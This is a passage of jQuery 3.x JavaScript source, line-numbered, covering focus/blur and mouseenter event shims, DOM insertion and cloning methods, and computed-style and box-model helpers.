5597 // Use `delegateType` as the key as `type` is already used by `leverageNative`.
5598 attaches = dataPriv.get( this, delegateType );
5599 if ( !attaches ) {
5600 this.addEventListener( delegateType, focusMappedHandler );
5601 }
5602 dataPriv.set( this, delegateType, ( attaches || 0 ) + 1 );
5603 } else {
5604
5605 // Return false to allow normal processing in the caller
5606 return false;
5607 }
5608 },
5609 trigger: function() {
5610
5611 // Force setup before trigger
5612 leverageNative( this, type );
5613
5614 // Return non-false to allow normal event-path propagation
5615 return true;
5616 },
5617
5618 teardown: function() {
5619 var attaches;
5620
5621 if ( document.documentMode ) {
5622 attaches = dataPriv.get( this, delegateType ) - 1;
5623 if ( !attaches ) {
5624 this.removeEventListener( delegateType, focusMappedHandler );
5625 dataPriv.remove( this, delegateType );
5626 } else {
5627 dataPriv.set( this, delegateType, attaches );
5628 }
5629 } else {
5630
5631 // Return false to indicate standard teardown should be applied
5632 return false;
5633 }
5634 },
5635
5636 // Suppress native focus or blur if we're currently inside
5637 // a leveraged native-event stack
5638 _default: function( event ) {
5639 return dataPriv.get( event.target, type );
5640 },
5641
5642 delegateType: delegateType
5643 };
5644
5645 // Support: Firefox <=44
5646 // Firefox doesn't have focus(in | out) events
5647 // Related ticket - https://bugzilla.mozilla.org/show_bug.cgi?id=687787
5648 //
5649 // Support: Chrome <=48 - 49, Safari <=9.0 - 9.1
5650 // focus(in | out) events fire after focus & blur events,
5651 // which is spec violation - http://www.w3.org/TR/DOM-Level-3-Events/#events-focusevent-event-order
5652 // Related ticket - https://bugs.chromium.org/p/chromium/issues/detail?id=449857
5653 //
5654 // Support: IE 9 - 11+
5655 // To preserve relative focusin/focus & focusout/blur event order guaranteed on the 3.x branch,
5656 // attach a single handler for both events in IE.
5657 jQuery.event.special[ delegateType ] = {
5658 setup: function() {
5659
5660 // Handle: regular nodes (via `this.ownerDocument`), window
5661 // (via `this.document`) & document (via `this`).
5662 var doc = this.ownerDocument || this.document || this,
5663 dataHolder = document.documentMode ? this : doc,
5664 attaches = dataPriv.get( dataHolder, delegateType );
5665
5666 // Support: IE 9 - 11+
5667 // We use the same native handler for focusin & focus (and focusout & blur)
5668 // so we need to coordinate setup & teardown parts between those events.
5669 // Use `delegateType` as the key as `type` is already used by `leverageNative`.
5670 if ( !attaches ) {
5671 if ( document.documentMode ) {
5672 this.addEventListener( delegateType, focusMappedHandler );
5673 } else {
5674 doc.addEventListener( type, focusMappedHandler, true );
5675 }
5676 }
5677 dataPriv.set( dataHolder, delegateType, ( attaches || 0 ) + 1 );
5678 },
5679 teardown: function() {
5680 var doc = this.ownerDocument || this.document || this,
5681 dataHolder = document.documentMode ? this : doc,
5682 attaches = dataPriv.get( dataHolder, delegateType ) - 1;
5683
5684 if ( !attaches ) {
5685 if ( document.documentMode ) {
5686 this.removeEventListener( delegateType, focusMappedHandler );
5687 } else {
5688 doc.removeEventListener( type, focusMappedHandler, true );
5689 }
5690 dataPriv.remove( dataHolder, delegateType );
5691 } else {
5692 dataPriv.set( dataHolder, delegateType, attaches );
5693 }
5694 }
5695 };
5696} );
5697
5698// Create mouseenter/leave events using mouseover/out and event-time checks
5699// so that event delegation works in jQuery.
5700// Do the same for pointerenter/pointerleave and pointerover/pointerout
5701//
5702// Support: Safari 7 only
5703// Safari sends mouseenter too often; see:
5704// https://bugs.chromium.org/p/chromium/issues/detail?id=470258
5705// for the description of the bug (it existed in older Chrome versions as well).
5706jQuery.each( {
5707 mouseenter: "mouseover",
5708 mouseleave: "mouseout",
5709 pointerenter: "pointerover",
5710 pointerleave: "pointerout"
5711}, function( orig, fix ) {
5712 jQuery.event.special[ orig ] = {
5713 delegateType: fix,
5714 bindType: fix,
5715
5716 handle: function( event ) {
5717 var ret,
5718 target = this,
5719 related = event.relatedTarget,
5720 handleObj = event.handleObj;
5721
5722 // For mouseenter/leave call the handler if related is outside the target.
5723 // NB: No relatedTarget if the mouse left/entered the browser window
5724 if ( !related || ( related !== target && !jQuery.contains( target, related ) ) ) {
5725 event.type = handleObj.origType;
5726 ret = handleObj.handler.apply( this, arguments );
5727 event.type = fix;
5728 }
5729 return ret;
5730 }
5731 };
5732} );
5733
5734jQuery.fn.extend( {
5735
5736 on: function( types, selector, data, fn ) {
5737 return on( this, types, selector, data, fn );
5738 },
5739 one: function( types, selector, data, fn ) {
5740 return on( this, types, selector, data, fn, 1 );
5741 },
5742 off: function( types, selector, fn ) {
5743 var handleObj, type;
5744 if ( types && types.preventDefault && types.handleObj ) {
5745
5746 // ( event ) dispatched jQuery.Event
5747 handleObj = types.handleObj;
5748 jQuery( types.delegateTarget ).off(
5749 handleObj.namespace ?
5750 handleObj.origType + "." + handleObj.namespace :
5751 handleObj.origType,
5752 handleObj.selector,
5753 handleObj.handler
5754 );
5755 return this;
5756 }
5757 if ( typeof types === "object" ) {
5758
5759 // ( types-object [, selector] )
5760 for ( type in types ) {
5761 this.off( type, selector, types[ type ] );
5762 }
5763 return this;
5764 }
5765 if ( selector === false || typeof selector === "function" ) {
5766
5767 // ( types [, fn] )
5768 fn = selector;
5769 selector = undefined;
5770 }
5771 if ( fn === false ) {
5772 fn = returnFalse;
5773 }
5774 return this.each( function() {
5775 jQuery.event.remove( this, types, fn, selector );
5776 } );
5777 }
5778} );
5779
5780
5781var
5782
5783 // Support: IE <=10 - 11, Edge 12 - 13 only
5784 // In IE/Edge using regex groups here causes severe slowdowns.
5785 // See https://connect.microsoft.com/IE/feedback/details/1736512/
5786 rnoInnerhtml = /<script|<style|<link/i,
5787
5788 // checked="checked" or checked
5789 rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
5790
5791 rcleanScript = /^\s*<!\[CDATA\[|\]\]>\s*$/g;
5792
5793// Prefer a tbody over its parent table for containing new rows
5794function manipulationTarget( elem, content ) {
5795 if ( nodeName( elem, "table" ) &&
5796 nodeName( content.nodeType !== 11 ? content : content.firstChild, "tr" ) ) {
5797
5798 return jQuery( elem ).children( "tbody" )[ 0 ] || elem;
5799 }
5800
5801 return elem;
5802}
5803
5804// Replace/restore the type attribute of script elements for safe DOM manipulation
5805function disableScript( elem ) {
5806 elem.type = ( elem.getAttribute( "type" ) !== null ) + "/" + elem.type;
5807 return elem;
5808}
5809function restoreScript( elem ) {
5810 if ( ( elem.type || "" ).slice( 0, 5 ) === "true/" ) {
5811 elem.type = elem.type.slice( 5 );
5812 } else {
5813 elem.removeAttribute( "type" );
5814 }
5815
5816 return elem;
5817}
5818
5819function cloneCopyEvent( src, dest ) {
5820 var i, l, type, pdataOld, udataOld, udataCur, events;
5821
5822 if ( dest.nodeType !== 1 ) {
5823 return;
5824 }
5825
5826 // 1. Copy private data: events, handlers, etc.
5827 if ( dataPriv.hasData( src ) ) {
5828 pdataOld = dataPriv.get( src );
5829 events = pdataOld.events;
5830
5831 if ( events ) {
5832 dataPriv.remove( dest, "handle events" );
5833
5834 for ( type in events ) {
5835 for ( i = 0, l = events[ type ].length; i < l; i++ ) {
5836 jQuery.event.add( dest, type, events[ type ][ i ] );
5837 }
5838 }
5839 }
5840 }
5841
5842 // 2. Copy user data
5843 if ( dataUser.hasData( src ) ) {
5844 udataOld = dataUser.access( src );
5845 udataCur = jQuery.extend( {}, udataOld );
5846
5847 dataUser.set( dest, udataCur );
5848 }
5849}
5850
5851// Fix IE bugs, see support tests
5852function fixInput( src, dest ) {
5853 var nodeName = dest.nodeName.toLowerCase();
5854
5855 // Fails to persist the checked state of a cloned checkbox or radio button.
5856 if ( nodeName === "input" && rcheckableType.test( src.type ) ) {
5857 dest.checked = src.checked;
5858
5859 // Fails to return the selected option to the default selected state when cloning options
5860 } else if ( nodeName === "input" || nodeName === "textarea" ) {
5861 dest.defaultValue = src.defaultValue;
5862 }
5863}
5864
5865function domManip( collection, args, callback, ignored ) {
5866
5867 // Flatten any nested arrays
5868 args = flat( args );
5869
5870 var fragment, first, scripts, hasScripts, node, doc,
5871 i = 0,
5872 l = collection.length,
5873 iNoClone = l - 1,
5874 value = args[ 0 ],
5875 valueIsFunction = isFunction( value );
5876
5877 // We can't cloneNode fragments that contain checked, in WebKit
5878 if ( valueIsFunction ||
5879 ( l > 1 && typeof value === "string" &&
5880 !support.checkClone && rchecked.test( value ) ) ) {
5881 return collection.each( function( index ) {
5882 var self = collection.eq( index );
5883 if ( valueIsFunction ) {
5884 args[ 0 ] = value.call( this, index, self.html() );
5885 }
5886 domManip( self, args, callback, ignored );
5887 } );
5888 }
5889
5890 if ( l ) {
5891 fragment = buildFragment( args, collection[ 0 ].ownerDocument, false, collection, ignored );
5892 first = fragment.firstChild;
5893
5894 if ( fragment.childNodes.length === 1 ) {
5895 fragment = first;
5896 }
5897
5898 // Require either new content or an interest in ignored elements to invoke the callback
5899 if ( first || ignored ) {
5900 scripts = jQuery.map( getAll( fragment, "script" ), disableScript );
5901 hasScripts = scripts.length;
5902
5903 // Use the original fragment for the last item
5904 // instead of the first because it can end up
5905 // being emptied incorrectly in certain situations (trac-8070).
5906 for ( ; i < l; i++ ) {
5907 node = fragment;
5908
5909 if ( i !== iNoClone ) {
5910 node = jQuery.clone( node, true, true );
5911
5912 // Keep references to cloned scripts for later restoration
5913 if ( hasScripts ) {
5914
5915 // Support: Android <=4.0 only, PhantomJS 1 only
5916 // push.apply(_, arraylike) throws on ancient WebKit
5917 jQuery.merge( scripts, getAll( node, "script" ) );
5918 }
5919 }
5920
5921 callback.call( collection[ i ], node, i );
5922 }
5923
5924 if ( hasScripts ) {
5925 doc = scripts[ scripts.length - 1 ].ownerDocument;
5926
5927 // Re-enable scripts
5928 jQuery.map( scripts, restoreScript );
5929
5930 // Evaluate executable scripts on first document insertion
5931 for ( i = 0; i < hasScripts; i++ ) {
5932 node = scripts[ i ];
5933 if ( rscriptType.test( node.type || "" ) &&
5934 !dataPriv.access( node, "globalEval" ) &&
5935 jQuery.contains( doc, node ) ) {
5936
5937 if ( node.src && ( node.type || "" ).toLowerCase() !== "module" ) {
5938
5939 // Optional AJAX dependency, but won't run scripts if not present
5940 if ( jQuery._evalUrl && !node.noModule ) {
5941 jQuery._evalUrl( node.src, {
5942 nonce: node.nonce || node.getAttribute( "nonce" )
5943 }, doc );
5944 }
5945 } else {
5946
5947 // Unwrap a CDATA section containing script contents. This shouldn't be
5948 // needed as in XML documents they're already not visible when
5949 // inspecting element contents and in HTML documents they have no
5950 // meaning but we're preserving that logic for backwards compatibility.
5951 // This will be removed completely in 4.0. See gh-4904.
5952 DOMEval( node.textContent.replace( rcleanScript, "" ), node, doc );
5953 }
5954 }
5955 }
5956 }
5957 }
5958 }
5959
5960 return collection;
5961}
5962
5963function remove( elem, selector, keepData ) {
5964 var node,
5965 nodes = selector ? jQuery.filter( selector, elem ) : elem,
5966 i = 0;
5967
5968 for ( ; ( node = nodes[ i ] ) != null; i++ ) {
5969 if ( !keepData && node.nodeType === 1 ) {
5970 jQuery.cleanData( getAll( node ) );
5971 }
5972
5973 if ( node.parentNode ) {
5974 if ( keepData && isAttached( node ) ) {
5975 setGlobalEval( getAll( node, "script" ) );
5976 }
5977 node.parentNode.removeChild( node );
5978 }
5979 }
5980
5981 return elem;
5982}
5983
5984jQuery.extend( {
5985 htmlPrefilter: function( html ) {
5986 return html;
5987 },
5988
5989 clone: function( elem, dataAndEvents, deepDataAndEvents ) {
5990 var i, l, srcElements, destElements,
5991 clone = elem.cloneNode( true ),
5992 inPage = isAttached( elem );
5993
5994 // Fix IE cloning issues
5995 if ( !support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) &&
5996 !jQuery.isXMLDoc( elem ) ) {
5997
5998 // We eschew jQuery#find here for performance reasons:
5999 // https://jsperf.com/getall-vs-sizzle/2
6000 destElements = getAll( clone );
6001 srcElements = getAll( elem );
6002
6003 for ( i = 0, l = srcElements.length; i < l; i++ ) {
6004 fixInput( srcElements[ i ], destElements[ i ] );
6005 }
6006 }
6007
6008 // Copy the events from the original to the clone
6009 if ( dataAndEvents ) {
6010 if ( deepDataAndEvents ) {
6011 srcElements = srcElements || getAll( elem );
6012 destElements = destElements || getAll( clone );
6013
6014 for ( i = 0, l = srcElements.length; i < l; i++ ) {
6015 cloneCopyEvent( srcElements[ i ], destElements[ i ] );
6016 }
6017 } else {
6018 cloneCopyEvent( elem, clone );
6019 }
6020 }
6021
6022 // Preserve script evaluation history
6023 destElements = getAll( clone, "script" );
6024 if ( destElements.length > 0 ) {
6025 setGlobalEval( destElements, !inPage && getAll( elem, "script" ) );
6026 }
6027
6028 // Return the cloned set
6029 return clone;
6030 },
6031
6032 cleanData: function( elems ) {
6033 var data, elem, type,
6034 special = jQuery.event.special,
6035 i = 0;
6036
6037 for ( ; ( elem = elems[ i ] ) !== undefined; i++ ) {
6038 if ( acceptData( elem ) ) {
6039 if ( ( data = elem[ dataPriv.expando ] ) ) {
6040 if ( data.events ) {
6041 for ( type in data.events ) {
6042 if ( special[ type ] ) {
6043 jQuery.event.remove( elem, type );
6044
6045 // This is a shortcut to avoid jQuery.event.remove's overhead
6046 } else {
6047 jQuery.removeEvent( elem, type, data.handle );
6048 }
6049 }
6050 }
6051
6052 // Support: Chrome <=35 - 45+
6053 // Assign undefined instead of using delete, see Data#remove
6054 elem[ dataPriv.expando ] = undefined;
6055 }
6056 if ( elem[ dataUser.expando ] ) {
6057
6058 // Support: Chrome <=35 - 45+
6059 // Assign undefined instead of using delete, see Data#remove
6060 elem[ dataUser.expando ] = undefined;
6061 }
6062 }
6063 }
6064 }
6065} );
6066
6067jQuery.fn.extend( {
6068 detach: function( selector ) {
6069 return remove( this, selector, true );
6070 },
6071
6072 remove: function( selector ) {
6073 return remove( this, selector );
6074 },
6075
6076 text: function( value ) {
6077 return access( this, function( value ) {
6078 return value === undefined ?
6079 jQuery.text( this ) :
6080 this.empty().each( function() {
6081 if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
6082 this.textContent = value;
6083 }
6084 } );
6085 }, null, value, arguments.length );
6086 },
6087
6088 append: function() {
6089 return domManip( this, arguments, function( elem ) {
6090 if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
6091 var target = manipulationTarget( this, elem );
6092 target.appendChild( elem );
6093 }
6094 } );
6095 },
6096
6097 prepend: function() {
6098 return domManip( this, arguments, function( elem ) {
6099 if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
6100 var target = manipulationTarget( this, elem );
6101 target.insertBefore( elem, target.firstChild );
6102 }
6103 } );
6104 },
6105
6106 before: function() {
6107 return domManip( this, arguments, function( elem ) {
6108 if ( this.parentNode ) {
6109 this.parentNode.insertBefore( elem, this );
6110 }
6111 } );
6112 },
6113
6114 after: function() {
6115 return domManip( this, arguments, function( elem ) {
6116 if ( this.parentNode ) {
6117 this.parentNode.insertBefore( elem, this.nextSibling );
6118 }
6119 } );
6120 },
6121
6122 empty: function() {
6123 var elem,
6124 i = 0;
6125
6126 for ( ; ( elem = this[ i ] ) != null; i++ ) {
6127 if ( elem.nodeType === 1 ) {
6128
6129 // Prevent memory leaks
6130 jQuery.cleanData( getAll( elem, false ) );
6131
6132 // Remove any remaining nodes
6133 elem.textContent = "";
6134 }
6135 }
6136
6137 return this;
6138 },
6139
6140 clone: function( dataAndEvents, deepDataAndEvents ) {
6141 dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
6142 deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;
6143
6144 return this.map( function() {
6145 return jQuery.clone( this, dataAndEvents, deepDataAndEvents );
6146 } );
6147 },
6148
6149 html: function( value ) {
6150 return access( this, function( value ) {
6151 var elem = this[ 0 ] || {},
6152 i = 0,
6153 l = this.length;
6154
6155 if ( value === undefined && elem.nodeType === 1 ) {
6156 return elem.innerHTML;
6157 }
6158
6159 // See if we can take a shortcut and just use innerHTML
6160 if ( typeof value === "string" && !rnoInnerhtml.test( value ) &&
6161 !wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) {
6162
6163 value = jQuery.htmlPrefilter( value );
6164
6165 try {
6166 for ( ; i < l; i++ ) {
6167 elem = this[ i ] || {};
6168
6169 // Remove element nodes and prevent memory leaks
6170 if ( elem.nodeType === 1 ) {
6171 jQuery.cleanData( getAll( elem, false ) );
6172 elem.innerHTML = value;
6173 }
6174 }
6175
6176 elem = 0;
6177
6178 // If using innerHTML throws an exception, use the fallback method
6179 } catch ( e ) {}
6180 }
6181
6182 if ( elem ) {
6183 this.empty().append( value );
6184 }
6185 }, null, value, arguments.length );
6186 },
6187
6188 replaceWith: function() {
6189 var ignored = [];
6190
6191 // Make the changes, replacing each non-ignored context element with the new content
6192 return domManip( this, arguments, function( elem ) {
6193 var parent = this.parentNode;
6194
6195 if ( jQuery.inArray( this, ignored ) < 0 ) {
6196 jQuery.cleanData( getAll( this ) );
6197 if ( parent ) {
6198 parent.replaceChild( elem, this );
6199 }
6200 }
6201
6202 // Force callback invocation
6203 }, ignored );
6204 }
6205} );
6206
6207jQuery.each( {
6208 appendTo: "append",
6209 prependTo: "prepend",
6210 insertBefore: "before",
6211 insertAfter: "after",
6212 replaceAll: "replaceWith"
6213}, function( name, original ) {
6214 jQuery.fn[ name ] = function( selector ) {
6215 var elems,
6216 ret = [],
6217 insert = jQuery( selector ),
6218 last = insert.length - 1,
6219 i = 0;
6220
6221 for ( ; i <= last; i++ ) {
6222 elems = i === last ? this : this.clone( true );
6223 jQuery( insert[ i ] )[ original ]( elems );
6224
6225 // Support: Android <=4.0 only, PhantomJS 1 only
6226 // .get() because push.apply(_, arraylike) throws on ancient WebKit
6227 push.apply( ret, elems.get() );
6228 }
6229
6230 return this.pushStack( ret );
6231 };
6232} );
6233var rnumnonpx = new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" );
6234
6235var rcustomProp = /^--/;
6236
6237
6238var getStyles = function( elem ) {
6239
6240 // Support: IE <=11 only, Firefox <=30 (trac-15098, trac-14150)
6241 // IE throws on elements created in popups
6242 // FF meanwhile throws on frame elements through "defaultView.getComputedStyle"
6243 var view = elem.ownerDocument.defaultView;
6244
6245 if ( !view || !view.opener ) {
6246 view = window;
6247 }
6248
6249 return view.getComputedStyle( elem );
6250 };
6251
6252var swap = function( elem, options, callback ) {
6253 var ret, name,
6254 old = {};
6255
6256 // Remember the old values, and insert the new ones
6257 for ( name in options ) {
6258 old[ name ] = elem.style[ name ];
6259 elem.style[ name ] = options[ name ];
6260 }
6261
6262 ret = callback.call( elem );
6263
6264 // Revert the old values
6265 for ( name in options ) {
6266 elem.style[ name ] = old[ name ];
6267 }
6268
6269 return ret;
6270};
6271
6272
6273var rboxStyle = new RegExp( cssExpand.join( "|" ), "i" );
6274
6275
6276
6277( function() {
6278
6279 // Executing both pixelPosition & boxSizingReliable tests require only one layout
6280 // so they're executed at the same time to save the second computation.
6281 function computeStyleTests() {
6282
6283 // This is a singleton, we need to execute it only once
6284 if ( !div ) {
6285 return;
6286 }
6287
6288 container.style.cssText = "position:absolute;left:-11111px;width:60px;" +
6289 "margin-top:1px;padding:0;border:0";
6290 div.style.cssText =
6291 "position:relative;display:block;box-sizing:border-box;overflow:scroll;" +
6292 "margin:auto;border:1px;padding:1px;" +
6293 "width:60%;top:1%";
6294 documentElement.appendChild( container ).appendChild( div );
6295
6296 var divStyle = window.getComputedStyle( div );
6297 pixelPositionVal = divStyle.top !== "1%";
6298
6299 // Support: Android 4.0 - 4.3 only, Firefox <=3 - 44
6300 reliableMarginLeftVal = roundPixelMeasures( divStyle.marginLeft ) === 12;
6301
6302 // Support: Android 4.0 - 4.3 only, Safari <=9.1 - 10.1, iOS <=7.0 - 9.3
6303 // Some styles come back with percentage values, even though they shouldn't
6304 div.style.right = "60%";
6305 pixelBoxStylesVal = roundPixelMeasures( divStyle.right ) === 36;
6306
6307 // Support: IE 9 - 11 only
6308 // Detect misreporting of content dimensions for box-sizing:border-box elements
6309 boxSizingReliableVal = roundPixelMeasures( divStyle.width ) === 36;
6310
6311 // Support: IE 9 only
6312 // Detect overflow:scroll screwiness (gh-3699)
6313 // Support: Chrome <=64
6314 // Don't get tricked when zoom affects offsetWidth (gh-4029)
6315 div.style.position = "absolute";
6316 scrollboxSizeVal = roundPixelMeasures( div.offsetWidth / 3 ) === 12;
6317
6318 documentElement.removeChild( container );
6319
6320 // Nullify the div so it wouldn't be stored in the memory and
6321 // it will also be a sign that checks already performed
6322 div = null;
6323 }
6324
6325 function roundPixelMeasures( measure ) {
6326 return Math.round( parseFloat( measure ) );
6327 }
6328
6329 var pixelPositionVal, boxSizingReliableVal, scrollboxSizeVal, pixelBoxStylesVal,
6330 reliableTrDimensionsVal, reliableMarginLeftVal,
6331 container = document.createElement( "div" ),
6332 div = document.createElement( "div" );
6333
6334 // Finish early in limited (non-browser) environments
6335 if ( !div.style ) {
6336 return;
6337 }
6338
6339 // Support: IE <=9 - 11 only
6340 // Style of cloned element affects source element cloned (trac-8908)
6341 div.style.backgroundClip = "content-box";
6342 div.cloneNode( true ).style.backgroundClip = "";
6343 support.clearCloneStyle = div.style.backgroundClip === "content-box";
6344
6345 jQuery.extend( support, {
6346 boxSizingReliable: function() {
6347 computeStyleTests();
6348 return boxSizingReliableVal;
6349 },
6350 pixelBoxStyles: function() {
6351 computeStyleTests();
6352 return pixelBoxStylesVal;
6353 },
6354 pixelPosition: function() {
6355 computeStyleTests();
6356 return pixelPositionVal;
6357 },
6358 reliableMarginLeft: function() {
6359 computeStyleTests();
6360 return reliableMarginLeftVal;
6361 },
6362 scrollboxSize: function() {
6363 computeStyleTests();
6364 return scrollboxSizeVal;
6365 },
6366
6367 // Support: IE 9 - 11+, Edge 15 - 18+
6368 // IE/Edge misreport `getComputedStyle` of table rows with width/height
6369 // set in CSS while `offset*` properties report correct values.
6370 // Behavior in IE 9 is more subtle than in newer versions & it passes
6371 // some versions of this test; make sure not to make it pass there!
6372 //
6373 // Support: Firefox 70+
6374 // Only Firefox includes border widths
6375 // in computed dimensions. (gh-4529)
6376 reliableTrDimensions: function() {
6377 var table, tr, trChild, trStyle;
6378 if ( reliableTrDimensionsVal == null ) {
6379 table = document.createElement( "table" );
6380 tr = document.createElement( "tr" );
6381 trChild = document.createElement( "div" );
6382
6383 table.style.cssText = "position:absolute;left:-11111px;border-collapse:separate";
6384 tr.style.cssText = "box-sizing:content-box;border:1px solid";
6385
6386 // Support: Chrome 86+
6387 // Height set through cssText does not get applied.
6388 // Computed height then comes back as 0.
6389 tr.style.height = "1px";
6390 trChild.style.height = "9px";
6391
6392 // Support: Android 8 Chrome 86+
6393 // In our bodyBackground.html iframe,
6394 // display for all div elements is set to "inline",
6395 // which causes a problem only in Android 8 Chrome 86.
6396 // Ensuring the div is `display: block`
6397 // gets around this issue.
6398 trChild.style.display = "block";
6399
6400 documentElement
6401 .appendChild( table )
6402 .appendChild( tr )
6403 .appendChild( trChild );
6404
6405 trStyle = window.getComputedStyle( tr );
6406 reliableTrDimensionsVal = ( parseInt( trStyle.height, 10 ) +
6407 parseInt( trStyle.borderTopWidth, 10 ) +
6408 parseInt( trStyle.borderBottomWidth, 10 ) ) === tr.offsetHeight;
6409
6410 documentElement.removeChild( table );
6411 }
6412 return reliableTrDimensionsVal;
6413 }
6414 } );
6415} )();
6416
6417
6418function curCSS( elem, name, computed ) {
6419 var width, minWidth, maxWidth, ret,
6420 isCustomProp = rcustomProp.test( name ),
6421
6422 // Support: Firefox 51+
6423 // Retrieving style before computed somehow
6424 // fixes an issue with getting wrong values
6425 // on detached elements
6426 style = elem.style;
6427
6428 computed = computed || getStyles( elem );
6429
6430 // getPropertyValue is needed for:
6431 // .css('filter') (IE 9 only, trac-12537)
6432 // .css('--customProperty) (gh-3144)
6433 if ( computed ) {
6434
6435 // Support: IE <=9 - 11+
6436 // IE only supports `"float"` in `getPropertyValue`; in computed styles
6437 // it's only available as `"cssFloat"`. We no longer modify properties
6438 // sent to `.css()` apart from camelCasing, so we need to check both.
6439 // Normally, this would create difference in behavior: if
6440 // `getPropertyValue` returns an empty string, the value returned
6441 // by `.css()` would be `undefined`. This is usually the case for
6442 // disconnected elements. However, in IE even disconnected elements
6443 // with no styles return `"none"` for `getPropertyValue( "float" )`
6444 ret = computed.getPropertyValue( name ) || computed[ name ];
6445
6446 if ( isCustomProp && ret ) {
6447
6448 // Support: Firefox 105+, Chrome <=105+
6449 // Spec requires trimming whitespace for custom properties (gh-4926).
6450 // Firefox only trims leading whitespace. Chrome just collapses
6451 // both leading & trailing whitespace to a single space.
6452 //
6453 // Fall back to `undefined` if empty string returned.
6454 // This collapses a missing definition with property defined
6455 // and set to an empty string but there's no standard API
6456 // allowing us to differentiate them without a performance penalty
6457 // and returning `undefined` aligns with older jQuery.
6458 //
6459 // rtrimCSS treats U+000D CARRIAGE RETURN and U+000C FORM FEED
6460 // as whitespace while CSS does not, but this is not a problem
6461 // because CSS preprocessing replaces them with U+000A LINE FEED
6462 // (which *is* CSS whitespace)
6463 // https://www.w3.org/TR/css-syntax-3/#input-preprocessing
6464 ret = ret.replace( rtrimCSS, "$1" ) || undefined;
6465 }
6466
6467 if ( ret === "" && !isAttached( elem ) ) {
6468 ret = jQuery.style( elem, name );
6469 }
6470
6471 // A tribute to the "awesome hack by Dean Edwards"
6472 // Android Browser returns percentage for some values,
6473 // but width seems to be reliably pixels.
6474 // This is against the CSSOM draft spec:
6475 // https://drafts.csswg.org/cssom/#resolved-values
6476 if ( !support.pixelBoxStyles() && rnumnonpx.test( ret ) && rboxStyle.test( name ) ) {
6477
6478 // Remember the original values
6479 width = style.width;
6480 minWidth = style.minWidth;
6481 maxWidth = style.maxWidth;
6482
6483 // Put in the new values to get a computed value out
6484 style.minWidth = style.maxWidth = style.width = ret;
6485 ret = computed.width;
6486
6487 // Revert the changed values
6488 style.width = width;
6489 style.minWidth = minWidth;
6490 style.maxWidth = maxWidth;
6491 }
6492 }
6493
6494 return ret !== undefined ?
6495
6496 // Support: IE <=9 - 11 only
6497 // IE returns zIndex value as an integer.
6498 ret + "" :
6499 ret;
6500}
6501
6502
6503function addGetHookIf( conditionFn, hookFn ) {
6504
6505 // Define the hook, we'll check on the first run if it's really needed.
6506 return {
6507 get: function() {
6508 if ( conditionFn() ) {
6509
6510 // Hook not needed (or it's not possible to use it due
6511 // to missing dependency), remove it.
6512 delete this.get;
6513 return;
6514 }
6515
6516 // Hook needed; redefine it so that the support test is not executed again.
6517 return ( this.get = hookFn ).apply( this, arguments );
6518 }
6519 };
6520}
6521
6522
6523var cssPrefixes = [ "Webkit", "Moz", "ms" ],
6524 emptyStyle = document.createElement( "div" ).style,
6525 vendorProps = {};
6526
6527// Return a vendor-prefixed property or undefined
6528function vendorPropName( name ) {
6529
6530 // Check for vendor prefixed names
6531 var capName = name[ 0 ].toUpperCase() + name.slice( 1 ),
6532 i = cssPrefixes.length;
6533
6534 while ( i-- ) {
6535 name = cssPrefixes[ i ] + capName;
6536 if ( name in emptyStyle ) {
6537 return name;
6538 }
6539 }
6540}
6541
6542// Return a potentially-mapped jQuery.cssProps or vendor prefixed property
6543function finalPropName( name ) {
6544 var final = jQuery.cssProps[ name ] || vendorProps[ name ];
6545
6546 if ( final ) {
6547 return final;
6548 }
6549 if ( name in emptyStyle ) {
6550 return name;
6551 }
6552 return vendorProps[ name ] = vendorPropName( name ) || name;
6553}
6554
6555
6556var
6557
6558 // Swappable if display is none or starts with table
6559 // except "table", "table-cell", or "table-caption"
6560 // See here for display values: https://developer.mozilla.org/en-US/docs/CSS/display
6561 rdisplayswap = /^(none|table(?!-c[ea]).+)/,
6562 cssShow = { position: "absolute", visibility: "hidden", display: "block" },
6563 cssNormalTransform = {
6564 letterSpacing: "0",
6565 fontWeight: "400"
6566 };
6567
6568function setPositiveNumber( _elem, value, subtract ) {
6569
6570 // Any relative (+/-) values have already been
6571 // normalized at this point
6572 var matches = rcssNum.exec( value );
6573 return matches ?
6574
6575 // Guard against undefined "subtract", e.g., when used as in cssHooks
6576 Math.max( 0, matches[ 2 ] - ( subtract || 0 ) ) + ( matches[ 3 ] || "px" ) :
6577 value;
6578}
6579
6580function boxModelAdjustment( elem, dimension, box, isBorderBox, styles, computedVal ) {
6581 var i = dimension === "width" ? 1 : 0,
6582 extra = 0,
6583 delta = 0,
6584 marginDelta = 0;
6585
6586 // Adjustment may not be necessary
6587 if ( box === ( isBorderBox ? "border" : "content" ) ) {
6588 return 0;
6589 }
6590
6591 for ( ; i < 4; i += 2 ) {
6592
6593 // Both box models exclude margin
6594 // Count margin delta separately to only add it after scroll gutter adjustment.
6595 // This is needed to make negative margins work with `outerHeight( true )` (gh-3982).
6596 if ( box === "margin" ) {
6597 marginDelta += jQuery.css( elem, box + cssExpand[ i ], true, styles );
6598 }
6599
6600 // If we get here with a content-box, we're seeking "padding" or "border" or "margin"
6601 if ( !isBorderBox ) {
6602
6603 // Add padding
6604 delta += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles );
6605
6606 // For "border" or "margin", add border
6607 if ( box !== "padding" ) {
6608 delta += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
6609
6610 // But still keep track of it otherwise
6611 } else {
6612 extra += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
6613 }
6614
6615 // If we get here with a border-box (content + padding + border), we're seeking "content" or
6616 // "padding" or "margin"
6617 } else {
6618
6619 // For "content", subtract padding
6620 if ( box === "content" ) {
6621 delta -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles );
6622 }
6623
6624 // For "content" or "padding", subtract border
6625 if ( box !== "margin" ) {
6626 delta -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
6627 }
6628 }
6629 }
6630
6631 // Account for positive content-box scroll gutter when requested by providing computedVal
